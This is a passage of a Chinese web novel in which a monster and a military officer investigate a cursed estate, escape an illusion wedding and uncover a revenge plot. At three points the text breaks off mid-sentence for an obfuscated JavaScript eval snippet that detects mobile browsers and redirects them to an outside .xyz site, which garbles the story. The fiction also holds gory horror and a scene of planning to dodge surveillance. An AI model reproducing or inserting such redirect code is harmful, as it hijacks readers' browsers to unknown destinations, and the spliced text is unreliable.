机器人驾驶快递车停在门口,打开车门卸下一箱箱货物。 以卡签收了快递,转头跟厄眠说:“局长的东西,别乱动。” 如果他不刻意说这句话,厄眠压根就没有动快递的想法,可一听是塔慕斯那货的东西,心里那股劲逆反的劲立马就上来了,“撕拉”一下把最外层的纸盒子撕烂。 喜庆的红色包装箱上用龙飞凤舞的金色字体写了俩字,厄眠看不懂这支啦爬叉的字迹,直接伸手掏出里面的东西。 是一根根由白色与浅黄色纸卷成的物体,里面裹满颗粒状的棕色物体。 厄眠拿起一根放进口中试探性地咬了一口,嫌弃地蹙眉吐出。 得出结论——不好吃。 * 吃完晚饭,厄眠坐在一楼工作室玩消消乐,两只腿悠闲地搭在办公桌上,时不时嘚瑟地抖动几下。 他没有属于自己的办公位,这位置是塔慕斯的。 一直玩到十二点,卖汤圆的小吃摊摊主才出现在视野中,他立即关闭游戏,用以卡送的1个币买了一份酒酿汤圆。 老板意味深长地叮嘱他“别弄太晚注意身体”,然后把今日剩下的汤圆打包起来全部送他。 厄眠以为这句话的意思是“少熬夜”,朝老板点点头,开心地拎着五份酒酿汤圆坐回塔慕斯的位置。 塔慕斯的身影出现在门外,他的步子不算快,身形有些不稳,前腿刚从门外迈进来,身体就沿着门框滑了下去。 “嘭”的一声,塔慕斯跌坐下去,后背紧贴着门框,双臂无力地垂下。 厄眠抬眼朝那边瞥了眼,收回视线,端起碗喝着甜甜的汤圆汤。 吃到最后一碗,塔慕斯还保持着相同的姿势坐在门边。 厄眠“啧”了声,端着酒酿汤圆走过去,抬脚用鞋尖碰了碰他的腿,说:“死没死?吱个声?” 片刻后,塔慕斯的声音才淡淡响起:“别管。” “管你?哥没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736226|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么闲。”厄眠又不轻不重地踢了他两脚,“你死了谁给哥发工资?” 他接了杯温水递过去,塔慕斯没接,于是直接捏住对方的两边脸颊,将唇捏出一个撅起“o”形,把水慢慢往口腔里灌。 少部分水沿着嘴角流淌下去,在喉结处凝聚成一颗晶莹的水珠,液体浸湿了唇,让略显苍白的唇有了一些色泽。 脸蛋的触感挺软的,撅起的嘴巴也怪好看的,厄眠没忍住一连捏了好几下,然后立即收到塔慕斯那刀子般的冷冽眼神。 “瞪什么瞪?”厄眠松开他的脸,然后“啪”的一声轻轻在他脸上拍了一下,“就你现在这虚样还敢瞪哥?” 塔慕斯正要开口,口中突然被塞进一颗冰凉柔软的东西,带着甜甜的酒味,是一颗酒酿汤圆。 “让你吃饭不叫哥害哥只能吃剩菜,嘿~终于让哥逮着机会了吧?这回给哥好好吃剩饭。”厄眠嘚瑟地笑着,不等塔慕斯开始咀嚼,立即又塞进去第二颗。 一边腮帮子一颗,脸蛋被汤圆撑起一个圆润可爱的弧度。 “小慕斯,看镜头~”厄眠拿着终端,非常欠揍地把塔慕斯这幅受里受气的虚弱模样记录下来。 “咔咔咔”一连三张。 “一张一万币,啥时候给啥时候删。”厄眠把拍好的照片展示给塔慕斯,而后在他冰冷的眼神中把他扛回二楼卧室。 厄眠将塔慕斯扔到床上,瞥了眼前天夜里干架弄出窟窿的墙,说:“煞气这你这身体勉强还能应付应付,怨气可不好应付,不将目标折磨至死不会消散,不管你从哪染上的怨气,赶紧收手,对方的目标不是你。” 塔慕斯注视他,说:“对方给的报酬是十万。” 厄眠的态度顿时360°大转变:“其实怨气那玩意对哥来说也没多难解决,你要是答应给哥分个一半……” “3万。”塔慕斯说。 “3.5万!”厄眠立即把价格向上抬了整整5000币! 5000币!有他两个多月的工资呢!必须要把这5000币拿到手。 “行。”塔慕斯正等着他把价格抬到4万,然后再装作吃瘪的模样勉为其难同意,结果……3.5万?行,省下5000。 为了让塔慕斯快速恢复身体投入工作,厄眠在对方熟睡过后潜入房间,用小触角扎破血管注入微量的毒素麻痹神经。而后将身体化作黏稠的胶状物紧紧附着上去吸收怨气,看在即将到手的3万币的份上,厄眠这次还非常好心地没有让塔慕斯保留有清醒的意识。 塔慕斯难得睡了个好觉,终于不用再意识清醒着感受身体被怪物侵占的痛苦。 梦境中,他被谁紧紧拥抱着,背部紧贴着一个温暖的胸膛,身上搭着对方的一只胳膊与一条腿。他不习惯被拥抱,更不习惯与旁人同床,想推开对方,可却无法控制梦中的身体。 “蛋糕。”身后的人用携着睡意的微哑嗓音说了这么个词汇。 ——蛋糕。 不知为何,塔慕斯忽地就把这个词汇与那只爱吃甜食爱吃蛋糕的粉色坏章鱼联系到一块。 “再躺一会儿,没抱够。”对方似乎用手rua了rua他的头发,像在诱哄一只柔软的大猫咪。 他听到自己的声音:“好~” 尾音上扬,声音乖软的过分。 16. 废弃小区 “哇靠!小蛋糕!!!”厄眠双眼放光地望着桌上的几个纸杯蛋糕,“唰”的一下从楼梯上蹦下来,飞速拿起两个。 “一人一个。”塔慕斯抬手去抢。 厄眠速度比他更快,把两个蛋糕往嘴里摁,粘了一嘴的粉色奶油,说:“5个呢!” “大黄一个。”塔慕斯收回手。 “我就是大黄。”小蛋糕的顶部有一颗红红的草莓,香甜的草莓汁水蔓延至整个口腔,厄眠说话的语气都好了许多。 塔慕斯垂下眼皮瞥了眼他的小腹:“不大,不过很黄。” 那会分泌黏稠液体的粉色触手,通常是小黄.漫中必不可少的东西。 “嗯?”厄眠低着头专心炫蛋糕,并未注意到他的视线,含着面包与奶油含糊不清地问了,“今天早餐居然有小蛋糕?还买了我的这份?抽风了?” 以卡说:“局长是怕你抢蒲桑缇与大黄的,所以给你买了一份。” 厄眠淡淡“哦”了声,说:“就知道你这货心还是黑的。对了,你昨天买的那几大箱是啥玩意?贼难吃。” “香烟。”塔慕斯从办公桌中拿出一盒香烟。 厄眠看着他将“香烟”这个物体的淡黄色那端含入口中,接着用火点燃另一端。 “香烟”开始缓缓燃烧,产生的烟雾散发出刺鼻的气味。 厄眠“嗖”的一下抢走塔慕斯口中的烟,学着对方的模样吸了一口,却被刺激的气味呛得不断咳嗽,立即抓起那个属于塔慕斯的纸杯蛋糕塞进嘴里压压味,一边吃一边朝外喷着白色烟雾。 塔慕斯轻蔑地笑了声,接过他手中的烟重新放入口中,朝他的脸吐出一口长长的烟雾,说:“这东西你这种没见识的章鱼最好别碰。” “就碰!”厄眠被烟雾喷了一脸,挥手驱散着刺鼻的烟雾。 看在小蛋糕的份上,他才忍着没动手跟塔慕斯打起来,他本来还没啥继续碰这东西的打算,可既然塔慕斯都这么说了,他就非得跟对方杠到底。 “1根8币。”塔慕斯报出价格。 “哦。”厄眠的语气立即平缓下去。 对他这个穷逼而言,凡是费钱还不好吃的东西能不碰就不碰。 忽地想到什么,厄眠危险地眯了眯眼:“1根8币?你买了整整8箱!然后一提涨工资你就给哥装穷?” “客户送的。”塔慕斯说。 “10万那个?”厄眠问。 塔慕斯:“嗯。” “行,赶紧带我去干活,麻溜的,钱到手了就买个8层大蛋糕,哥自己吃完谁都不给,当然如果你愿意求求……” 塔慕斯打断他后面的话:“换人,以卡陪我去。” 厄眠扯住他的胳膊就往外走,认错的态度不带一点儿诚恳:“局长,少将,我的错我的错!都是我的错!全部都是我的错!” * 飞行器停在某个荒废已久的小区。 塔慕斯说:“我昨日将受害者耶伯恩出事前3天去的地点检查了一遍……” 厄眠阴阳怪气地接下他后面的话:“然后差点栽在这,弱得咧~” 塔慕斯从口袋拿出一颗荔枝味棒棒糖朝他晃了晃:“好好说话。” “好嘞局长!”厄眠“唰”的一下咬掉糖果包装,把白色糖果含入口中,“这不是我们上次来的地方么?你那时从地下室顺走一个红色盒子。” “盒子不见了。”塔慕斯说。 “我干的。”厄眠不可能向这货解释弄坏盒子的原因,于是随口扯了个谎,“里面的恶灵半夜从盒子里钻出来往我房间跑,我一生气给吃了,又苦又涩难吃得很。” 然而事实是他依赖塔慕斯的信息素近乎成瘾,在半夜潜入对方卧室去吸信息素,看那只恶灵碍眼就顺手解决了。 “你打算把里面的4级恶灵杀死,从尸体中挖取晶源?”厄眠跟着塔慕斯跃下飞行器。 “别管。”塔慕斯淡淡说。 “懒得管,对哥来说有钱有吃的就行。”厄眠先他一步迈入小区大门,而后抬臂将他拦住,“在外面等着。” “一起。”塔慕斯绕开他。 “确定?”厄眠问。 “嗯。”塔慕斯继续往里走,忽地感应到什么,快速伸手抓住从背后凑上来的东西,触感柔软湿滑,是一条触手,从厄眠裤腿下面延伸出来的触手。 他抬起眼帘,注视厄眠等待解释。 “这地方怨气太浓,这样能防止你受侵蚀晕倒,晕了还得我扛回去。”厄眠给出解释。 塔慕斯松开手,于是被触手轻轻缠绕住了腰肢。 这座小区前段时间发生过低级恶灵大规模集聚现象,塔慕斯只简单清理了恶灵的尸体,上百只恶灵迸溅出的血液在地面与墙面堆积出厚厚的一层,干涸了许久的血液大片大片地铺在地上,如一副诡异的巨大画卷。 厄眠把口中的荔枝味棒棒糖吸吮出响声,吃得贼香,说:“亏你昨晚没倒在这,否则今日说不定我就得来给你收尸了,看不出来你这货挺能耐的,能坚持着回到调查所。” “好好说话。”塔慕斯声音平淡。 “我咋没好好说话了?哦,咒你死啊?行,不说了。”对方给的糖果还含在口中没融化,吃人嘴短,厄眠安静闭嘴,打算等吃完糖果再开始怼。 一根精神力丝线从厄眠的精神识海延伸出来,在偌大的小区中搜寻怨气散发的源头,源头没搜到,倒是感应到一丝雌虫的精神波动,精神波动很稳定,对方并未受到怨气的侵蚀。 厄眠带着塔慕斯朝那名雌虫靠近,即将到地方时,收起缠绕在塔慕斯腰间的触手,一把攥住他的手腕。 触手在塔慕斯的衣服上留下一圈湿润的痕迹,塔慕斯对此没什么反应,眼神始终很平静。 雌虫发现外来者,起身就跑。 由于不能与厄眠分开,塔慕斯直接扛起厄眠追过去。 厄眠的脸措不及防砸到对方后腰下侧的两团肉肉上,嘴里的棒棒糖都差点掉出去。 塔慕斯拉住雌虫的衣服:“别怕,问些事,回答完就放你走。” 看见这张脸,雌虫眼底的慌乱渐渐消失:“塔慕斯少将?” 塔慕斯瞥了眼他校服上的校徽,从口袋抓出几颗糖果递给他:“克里尤,没上课?” “谢谢。”克里尤接过糖果,“脑子不好使,老师布置的作业写不出来,怕去了挨骂。” 听到零食袋的声音,厄眠立即从塔慕斯肩上蹦下去,伸手去掏他的口袋。 口袋有些深,手指触碰到一块柔软的东西,厄眠以为是水果软糖,便用手指夹住那块软糖向口袋外面带,结果扯了两下没扯出来,才猛然意识到那究竟是个什么玩意。 小豆芽。 “所以躲到了这?不害怕吗?”塔慕斯的身体被扯得微不可察地颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736227|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下,将手伸入口袋狠狠掐住厄眠的手。 “不怕,我小时候在这儿住过七八年呢。”克里尤说。 厄眠自知理亏,没有炸毛,忍着痛抓出几颗糖果才收手,拆掉包装袋把糖果塞入嘴里,而后快速攥住塔慕斯的手腕,瞥了眼自己那只被掐出一块青紫色的手。 这货心真狠。 “这地方不太安全以后最好别来。”塔慕斯提醒。 “怎么会?这是我家,对我来说是最安全的地方。”克里尤朝他笑了笑,拎起放置在角落里的书包,“我得走了,少将您也早些回去吧。” 告了别,塔慕斯点开一份文件,在文件最上方的“查找”中输入“克里尤”这个名字。 厄眠侧过头,看见右上角的文件名——资助名单。 克里尤,受害者耶伯恩资助的学生之一。 “不受怨气影响一般只有两种情况,他这小身板想都不用想就知道是哪一种。”棒棒糖融化,厄眠吐出口中的棒棒,一口将刚从塔慕斯口袋里掏出来的糖果咬碎,“他与这些怨气有着某种关联,所以怨气会自动避开他。” “另一种?”塔慕斯问。 “就是自身足够强大。”厄眠微微上扬下巴,“就比如说哥,超级超级强!所向无敌!” 塔慕斯沉默,不想在这个话题上与他继续聊下去。 厄眠的语气染上几分嘚瑟:“你也是小身板,没哥高的都是小身板。” 他忽地注意到塔慕斯头顶的蓝色发丝翘起来几根。除了翘起来的这几根,其余头发都柔顺极了,蓬松柔软且带着健康的光泽,比年少时那发黄分叉的样子看着顺眼多了。 揪蛋糕的头发揪习惯了,厄眠一看这几根翘起的头发就爪子痒,伸出手想将那几根头发薅掉。 “啪!”爪子重重挨了一巴掌,手背被拍得泛红,厄眠正要炸毛,忽地想到那3.5万的奖金,硬生生把炸到一半的毛压下去。 反正等过几天去了13年前,小时候的塔慕斯还不是任他摆布?想揪多少头发就揪多少,到时候他偏要把塔慕斯这货给薅成一颗光秃秃的五香味大卤蛋!!! “别愣着,看看能不能发现什么。”塔慕斯拽着厄眠走到克里尤放书包的墙角。 小区荒废许久,地面积了层厚厚的灰尘,脚下的这块地面却要干净许多。 室内的光线略暗,塔慕斯蹲下身子,用终端将两面墙与地面形成的夹角照亮,指甲轻轻扣着墙面与墙面的交界处。 厄眠看清了两面墙交界线处的物品,似乎是一根深色的头发,头发的一端紧贴地面,笔直地卡在墙面的交界线处。 塔慕斯用指甲捏住头发,将这根颜色与受害者耶伯恩一致的头发装入密封袋。 “难怪没找到怨气的源头,有屏障。”厄眠抬起手,手指抵住发黄的墙面。 场景变换。 坚硬的墙面如液体般浮现出道道水波,水波荡漾着向外蔓延,发黄的墙壁逐渐变成干净的纯白色,碎裂的玻璃窗恢复如初。 窗边是一张床,床上方的墙面挂满红色气球与小彩旗,彩旗下方是一张婚照,新婚之人分别穿着黑色与白色礼服相拥着接吻。 看清新婚者的侧脸时,塔慕斯的面容出现一丝僵硬。 静态的照片诡异地动起来,照片中相拥接吻的两人缓缓转过头颅,将两张与塔慕斯、厄眠一模一样的脸完整地呈现出来…… 17. 幻境·婚礼 “嘭!哗啦……” 厄眠顺手拿起桌上的杯子扔过去。 玻璃相框碎裂开,尖锐的碎片划破红色被单,被单中的填充物不是保暖的棉花或者化纤,而是一粒粒金黄的小麦。 塔慕斯注意到厄眠的衣服,是与照片中雌虫一致的黑色礼服,而自己身上的服饰不知何时成了与之相互配对的白色礼服。 照片中的雌虫把头颅移动回去,保持着接吻的姿势将侧脸朝向他们。 厄眠“啧”了声,三下两下把照片撕烂,第一下就从吻在一块的嘴那儿开始撕。 “大雌父,二雌父!”一道声音在门外响起,轻软的声线带着几分稚嫩,“你们准备好了吗?大家都在外面等着呢!” 塔慕斯迷惑地看向厄眠。 “幻境。”厄眠解释,“这栋小区地下埋了两百多人,埋了有段时间了,之前有屏障隔着一直没发现。两百多人死了一大半,另一小半估计也离死不远了,这里的怨气来源于他们。” “大雌父!二雌父!你们在干嘛?快点出来给我们发喜糖!” 厄眠继续说:“我能强行破除幻境,不过这个聚集怨气的阵法也会随之爆开,耶伯恩会立即死亡。” “布局者在此献祭了一百多名雌虫的生命,将他们的负面情绪转化为怨气,等怨气滋生出恶蛊就将蛊喂给耶伯恩,令他在极大的痛苦中缓缓死去。” “就算立即解开阵法,这里的雌虫也撑不过一星期,全部会死。不过你脑子里只有造反和钱,对救一些将死之人应该没兴趣。” “大雌父!二雌父!”门外的声音变得尖锐,“你们在做什么?快点出来!小尤很饿要吃喜糖!” 金属制成的房门被捶打出一个个拳印,发出剧烈的声响。 厄眠抓起桌上的喜糖往兜里塞,说:“像这种低级幻境只用从中找到最正常的一个人,他是布阵者,在幻境中杀了他就能出去。” 门被捶打出一个洞,洞的另一面探出一只眼睛,眼睛粘黏着一根长长的血管,落到地面后发出“嘭咚咚……”的弹动声。 “大雌父,二雌父,快出去发喜糖吖~”两片鲜红的嘴唇出现在眼球之上,洁白的牙齿随着说话的动作从唇瓣间露出。 “咕噜噜……”眼球拖曳着血管滚动到塔慕斯脚边,用上方的白色牙齿咬住他的裤腿,“新婚快乐,喜糖,喜糖……” “怕了?先别怕,等酬劳到手再怕。”厄眠的话刚说出口,就见塔慕斯抬起脚,平静地把眼球与嘴唇踢飞出去,询问他接下来如何做。 “跟他们的意愿反着来就行,他们要发喜糖,咱就把喜糖都装走吃肚里。”喜糖的味道不错,厄眠将一盘子的糖都塞进口袋,裤子口袋立即被糖果撑出两个大包,“对了,这里的食物由怨气构成你最好别吃,当然,宇宙第一强的本渊主除外,本渊主啥都能吃。” 拉开房门的那一刻,雌虫扭曲的容貌恢复正常,从地上捡起眼球安装回眼眶,抬起脑袋朝他们露出一个灿烂的笑,伸出白嫩嫩的小手,说:“大雌父二雌父,小尤的喜糖呢?” 雌虫十二三岁左右,面容与克里尤有几分相似。 “嘭!”无数条彩色丝带在头顶炸开,参加婚礼的宾客笑盈盈地道喜,“新婚快乐!” “终于在一起了,不容易啊。” “大家经济条件都不太好,也没买什么贵重的新婚礼物,听说你们想要个虫宝,便一起凑了5000币,过两天你们去精-子库看看,给克里尤生个小弟弟,到时候我们大家一块儿养!” 年迈的雌虫从兜里掏出一个卷起来的黑色塑料袋,塑料袋里面还有一层被皮筋捆住的发黄旧报纸,打开报纸,最后才是一卷钞.票。 年迈的老雌虫用布满皱纹的手攥住着一叠绿色钞-票,细细将钞.票捋平整递向厄眠。 厄眠没动,含着糖果注视他。 “收着吧。”一名中年雌虫把钱塞进塔慕斯的口袋,“我们小区十多年没一个小孩,直到你带来克里尤,这孩子可乖可听话了,咱们都喜欢得很。” “礼堂布置好了,赶紧过去亲小嘴~”另一名中年雌虫指着礼堂的方向调侃。 “先把喜糖发了再亲!” “喜糖喜糖喜糖!” 厄眠从兜里掏出喜糖,然后当着众人的面一颗颗剥开塞嘴里,吃完后拉着塔慕斯朝与礼堂相反的方向跑。 “大雌父,二雌父!你们要去哪?回来发喜糖啊!”克里尤的声音再次变得尖锐。 左肩吹来一阵阴风,塔慕斯侧过头,恰好对上一颗布满血丝的眼球,眼球之上的红艳唇瓣大大张开,吐出一截猩红的舌头去舔他的眼睛。 塔慕斯利索地将连接着眼球的血管扯断,淡定地把头转回去,然后把掌心的血抹到厄眠的黑色礼服上。 厄眠:“……” 为了奖金,忍! 抗拒的行为激怒了幻境中的雌虫,他们如野兽般四肢着地在后方追逐,眼球、手指、头颅等部位延伸得极长。 塔慕斯抽空回了下头。 怪物的舌头、手指、脑袋啥玩意儿的全部紧贴着自己的后背,而厄眠背后一个都没有。 于是他加快步子绕到厄眠正前方。 那些怪物立即放慢速度,与厄眠保持着一定距离。 小区外是一片荒地,地面呈现出暗红色,像是被血液浸透。 荒地的尽头竖着一道红色的墙,墙面一直延伸至高空,如屏障般将内部的人死死困住,墙的另一侧则是大片大片稠腻而压抑的深红色。 厄眠破开屏障,拽着塔慕斯跃进这深不见底的深红色领域。 预想中的失重感并未出现,塔慕斯被厄眠拽着手腕悬在半空。 塔慕斯听到翅膀的煽动声,抬头去看,在厄眠身上看到一对粉白色的翅膀。 轻薄的翼膜由肢节连接着,类似于放大版的蝙蝠翅膀。 后方那些形态怪异的雌虫纷纷展开翅翼追上来,却重重地撞击到红色屏障。 厄眠立于诡异的深红色领域之上,微垂眼睑高高在上地俯视着那些类似雌虫的怪物。 塔慕斯注视着厄眠的眼睛。 那双平淡的银紫色瞳仁此时被这个诡谲的空间镀上一层怪诞的红光,透出一股深沉的阴冷、狠戾与残忍。 恍惚间,塔慕斯有种要被拖入深渊的错觉。 仿佛在未来的某天,他要被永久地囚禁于一个类似的领域,一个被死亡、尸体与恐惧笼罩的诡异领域。 塔慕斯快速抛开这种奇怪的念想,捏了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736228|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下薄薄的粉白色翼膜。 厄眠眸底的阴沉情立即化开,冲塔慕斯吼道:“爪子拿开,再摸剁掉!” 就是这一吼,把立于血色苍穹之上的那种宇宙第一强大魔王气质全给吼没了。 帅不过三秒。 塔慕斯收回爪子,只是视线还落在对方的翅膀上。 章鱼触手,粉里透红。 蝙蝠翅膀,白里透粉。 塔慕斯眼底浮现一抹嘲笑。 这只会飞的章鱼怎么看都是一个受,还是粉色的受。 屏障的另一侧只有上百只形态扭曲的怪物,看不见正常人的身影,布阵者没有跟随这群怪物追上来。 其实厄眠只需释放出几根精神力丝线,就能从中搜寻出精神波动正常的布局者。 浪费力气跑了这么久,只不过是想看到塔慕斯这货被吓到腿软的模样。 可惜了,没能欣赏到。 厄眠很快锁定目标。 堵在屏障另一侧的雌虫忽地消失,全部回到了刚开始的小区。 小区大门被暴力踹开。 一群身材健硕身着黑色制服的雌虫闯入,手中拎着沉重的钢棍,见什么砸什么,把家具砸得稀烂。 “靠近些,听听他们说了什么。”塔慕斯说。 厄眠带着他落回地面,粉白色大翅膀渐渐缩小,为了方便下次快速起飞,翅膀没有完全缩回身体,而成变成一对迷你版本的小号翅膀,支楞着立在背部。 这栋小区的住户大多都是耶伯恩手下烟草厂的员工,他们从耶伯恩手中买下这块闲置许久的地,在这儿建了一栋规模不大的小区,然后购买家具一步步地装修房间。 用尽了几乎大半辈子的积蓄,他们终于拥有了一个真正属于自己的家。 可耶伯恩却在售地合同上动了手脚,这块地在名义上依然是属于耶伯恩的,他想用这块地新建一个烟草厂,又不愿意给任何补偿,直接派保镖将这里的住户驱逐出去。 小区的住户根本就不是那些保镖的对方,很快败下阵,被钢棍砸得手臂、腿、肋骨断裂。 即使如此他们依然不愿离开,保镖也不敢打得太狠闹出人命,这件事便一直拖着。 场景变化。 两百多名住户集体染上疫病,年迈者全部离世,年幼的克里尤也即将死去。 耶伯恩的人再次出现,承诺会出钱救治克里尤,并资助他完成剩下的学业。为了克里尤,他们必须妥协。 他们将大半生的积蓄都砸在了房子上,拖着生病的躯体离开住处,靠着手中仅剩的一点儿钱艰难地熬着,流浪于地下室、下水道、桥洞……各种肮脏的地方。 两年后的某天,一名雌虫回到曾经的住处,才得知耶伯恩在驱逐他们之后,就紧接着就找到一块更好的建厂位置,放弃了这块地。 这名雌虫从小区的某个角落捡起一截诡异的手臂。 漆黑的手臂中攥着一个盒子,盒中的纸张详细地记载着培养“恶蛊”的方法,并附上一个通讯方式。 雌虫一一照做,以数百人的生命滋养怨气培育恶蛊。 恶蛊侵入耶伯恩的身体在他体内疯狂产卵,卵化成上百张狰狞扭曲的人脸,用细密的尖齿残忍地撕咬着他的脏器、骨头、血肉…… 18. 欺骗 幻境解除。 入目是一个阴暗湿冷充斥满腐烂气息的地方,地下埋着上百具躯体。活着的雌虫神情呆滞早已没了意识,露在泥土外的上半身被毒虫老鼠啃食出烂洞。死去的尸体散发出恶臭,爬满蛆虫的烂肉歪歪扭扭地挂在骨架上。 “塔慕斯少将。”开口的雌虫位于阵法中央,“事情的缘由如您刚刚所见,请您理解我们。” 塔慕斯淡淡扫了他一眼,对厄眠说:“怎么破阵?” “简单,交给哥。”厄眠收起背后的迷你版小翅膀,拽着他走向雌虫。 “塔慕斯!”雌虫红着眼睛死死瞪他,“您是为虫族子民服务的军雌!请您看看我们!看看这些发臭发烂的尸体!” “为虫族子民服务?”塔慕斯似乎听到什么荒诞的笑话,嘴角上扬起一个淡漠的弧度,“我们效忠的是虫族统治者,是尊贵的雄虫,不是一群卑劣的垃圾。” 厄眠转移目光,茫然地注视塔慕斯的侧脸。 “别发愣,解阵。”塔慕斯说。 厄眠撕扯开雌虫的衣服。 雌虫的半颗心脏露在胸口外,心脏中央有一块黑色的凸起,凸起如蛆虫般缓慢蠕动着。 扯出黑虫,笼罩住整个小区的怨气立即开始消散。 塔慕斯低垂下目光去看厄眠攥着虫子的虫。 虫子消失的前一刻,他无比清晰地看到,厄眠掌心处的皮肤延伸出无数根肉色的细小触角,触角包裹住虫子,将虫子扯入血肉之中。 厄眠转过头,朝塔慕斯扬起一个笑:“别忘了我的3.5万,对了,不请我吃个蛋糕祝贺祝贺么?” “想屁吃。”塔慕斯点开终端给弗艾格发消息。 雌虫发疯般地嚎叫:“啊!啊!!为什么!为什么?就差一点我就可以报仇了!只差一点那畜生就可以痛苦地死去了!” 厄眠说:“这里的怨气一时半会儿散不干净,少说点话省省力气,说不定怨气还能支撑你活个七八天。” 雌虫双眼血红地瞪着塔慕斯,问:“他给你多少?” 厄眠说:“十万。” “十万?”雌虫嗤笑一声,目光阴狠,“十万就值得前第九十七军统领卖命?耶伯恩的资产少说得有九位数,怎么可能就花十万为自己买命?塔慕斯在骗你!耶伯恩绝对不止给了10万!” 厄眠看向塔慕斯,危险地眯了眯眼睛。 “他那些慈善几乎全是作秀!钱最终还是会流回他手中,真正到贫困者手中的没有多少。知道那九位数的资产怎么来的吗?就是从我们这些社会底层的平民手中压榨剥削……” 雌虫的声音顿住,看着眼前打起来的两人狂笑:“自相残杀!哈哈哈,分赃不均?两条雄虫的狗在自相残杀……” “别闹,先回去。”塔慕斯躲避着厄眠的攻击。 “我厌恶欺骗。”厄眠的拳头贴着塔慕斯的脸划过,瞳仁因为愤怒漫上血丝,带着尖刺的黑色藤蔓从皮肤钻出,在穿透衣服布料的那一刻又被强行控制着收回。 厄眠极力压抑着用毒刺将塔慕斯贯穿的狠戾念头。难以控制的狂暴在胸腔内猛烈翻涌,维持理智几乎用尽了厄眠所有的力气,握成拳的双手无法抑制地剧烈颤动。 他深深合上眼皮,隐藏住眼底那残忍暴虐的情绪,声音阴冷:“他给的那点儿钱能够你篡位?直接屠杀耶伯恩一家吞掉所有资产不是更好?塔慕斯,你死无全尸都与我无关!但前提是不能欺骗我利用我,不损害到我的利益!” “厄眠。”塔慕斯放轻声音喊了声他的名字,把一张截图发过去,“请你吃蛋糕。” “吃个屁吃!你什么德性哥清楚得很!要不是哥还有利用价值,你压根就不会装模作样地给哥买蛋糕!”厄眠冲他吼道。 “你看一眼终端,就一眼。” 塔慕斯的声音近了一些,厄眠立即闭着眼睛后退,不料被石头绊了一下,忽地觉得有那么一丝委屈。 厄眠低头瞥了眼终端,是一张蛋糕订单,订单上的蛋糕与塔慕斯第一次见他时带的那个蛋糕一模一样,连包装盒也一样,透明的塑料包装盒用粉色的爱心丝带包着,丝带系成一个漂亮可爱的蝴蝶结。 他当时不知道啥能吃啥不能吃,闻到甜味就抱着蛋糕盒开始啃,塑料包装盒不好吃,包装盒上的丝带也不好吃,只有蛋糕好吃。 明知道这是塔慕斯这货哄骗他留下来继续打工干活的手段,厄眠还是难以拒绝。 毕竟是塔慕斯的出现告诉他,食物除了难吃的恶灵还有香甜的奶油蛋糕,是塔慕斯将他带离那颗死寂的荒星,让他留在这儿天天吃比恶灵好吃数倍的美食。 他是个吃货,一只遇见美食就没有了骨气的怪物,一个蛋糕就能把他哄好的那种没骨气。 厄眠不再揪着这件事不放,也没再搭理塔慕斯,转身留给对方一个冷漠的背景,自顾自地回到飞行器中。 塔慕斯坐到他旁边,启动飞行器。 一路无话。 厄眠抱着蛋糕回到房间,重重地摔上房门。 之后的4天,他整日泡在各种餐厅与小吃摊之中大吃特吃,夜里直接在酒吧过,期间从未回过调查局。除了3.5万币的转账,他与塔慕斯之间没再有过任何交流,塔慕斯也没有半点要坦白究竟收到多少报酬的意思。 凌晨一两点的街道寂静无声,酒吧却热闹得很,十几对雌虫恋人在舞池中热舞接吻。 厄眠醉意朦胧地趴在吧台前,手边放着一杯柠檬味的鸡尾酒。 他对跳舞聊天啥的没有丝毫兴趣,也弄不懂嘴有啥好亲的,不就交换口水么?交换口水……似乎可以尝到对方的信息素,像塔慕斯那货的信息素就挺甜的,好吃得很。 不然他也找个雌虫试试? 算了,麻烦,万一碰到个塔慕斯那样的不得把自己气死?单纯地喝个酒待上一晚就行了,明天一早就出去炫饭。 附近出现一道熟悉的精神波动。 厄眠气得咬咬牙。 刚想到那货,那货立马就出现了。 这几天的行程都在距离调查局20公里开外的地方,没想到还能遇到那货。 他可不觉得塔慕斯会好心出来找他,大半夜的肯定是干啥见不得光的坏事。 厄眠想起什么,去卫生间冲了把脸减轻醉意。 * 依靠昂贵的S级修复液,耶伯恩的身体状态在短短四五天内恢复正常。 当厄眠与一身黑的塔慕斯在耶伯恩住处附近看到对方时,都淡漠地移开了视线。 手腕的终端轻微震动,厄眠将亮度调节到最低,瞥了眼信息。 塔慕斯:附近50米内的监控都已处理,指纹、毛发、体-液这些东西尽量别留下,30分钟内离开。 厄眠冷冷回复两个字:别管。 